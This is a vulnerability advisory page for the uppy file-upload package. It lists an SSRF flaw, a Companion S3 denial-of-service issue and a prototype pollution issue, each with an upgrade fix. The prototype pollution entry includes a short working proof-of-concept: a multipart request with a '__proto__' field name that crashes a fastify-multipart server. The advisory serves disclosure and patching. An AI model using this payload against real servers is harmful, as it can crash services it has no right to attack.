uppy@0.8.3 vulnerabilities

Extensible JavaScript file upload widget with support for drag&drop, resumable uploads, previews, restrictions, file processing/encoding, remote providers like Instagram, Dropbox, Google Drive, S3 and more :dog:

  • latest version

    4.8.0

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    7 days ago

  • licenses detected

    • >=0.0.1 <0.18.0
  • Direct Vulnerabilities

    Known vulnerabilities in the uppy package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Server-side Request Forgery (SSRF)

    uppy is a sleek, modular JavaScript file uploader that integrates seamlessly with any application.

    Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in isPrivateIP, which fails to check for IPv4-mapped IPv6 addresses.

    How to fix Server-side Request Forgery (SSRF)?

    Upgrade uppy to version 2.3.3 or higher.

    <2.3.3
    • H
    Denial of Service (DoS)

    uppy is a sleek, modular JavaScript file uploader that integrates seamlessly with any application.

    Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious user can access the S3 upload endpoint, which would cause the process to crash if S3 uploads are not configured.

    This only affects Companion servers that do not have S3 uploads configured.

    How to fix Denial of Service (DoS)?

    Upgrade uppy to version 1.26.1 or higher.

    <1.26.1
    • H
    Prototype Pollution

    uppy is a sleek, modular JavaScript file uploader that integrates seamlessly with any application.

    Affected versions of this package are vulnerable to Prototype Pollution. It is possible to crash a remote server parsing multipart requests by sending a specially crafted request

    PoC

    const http = require('http')
    const fastify = require('fastify')()
    const options = {
        addToBody: true,
        onFile: (fieldName, stream, filename, encoding, mimetype, body) => {
            stream.resume();
        }
    };
    fastify.register(require('fastify-multipart'), options);
    fastify.post('/', function (req, reply) {
        console.log(req.body.toString());
        reply.code(200).send();
    });
    fastify.listen(3000, () => {
        console.log(`server listening on ${fastify.server.address().port}`)
        const body =
            '--AaB03x\r\n' +
            'content-disposition: form-data; name="__proto__"; filename="file1.txt"\r\n' +
            'Content-Type: text/plain\r\n' +
            '\r\n' +
            '... contents of file1.txt ...\r\r\n' +
            '--AaB03x--\r\n';
        const r = {
            hostname: 'localhost',
            port: 3000,
            path: '/',
            method: 'POST',
            headers: {
                'content-type': 'multipart/form-data; boundary=AaB03x'
            }
        };
        const req = http.request(r, (res) => { });
        req.write(body);
        req.end();
    });
    

    How to fix Prototype Pollution?

    Upgrade uppy to version 1.9.3 or higher.

    <1.9.3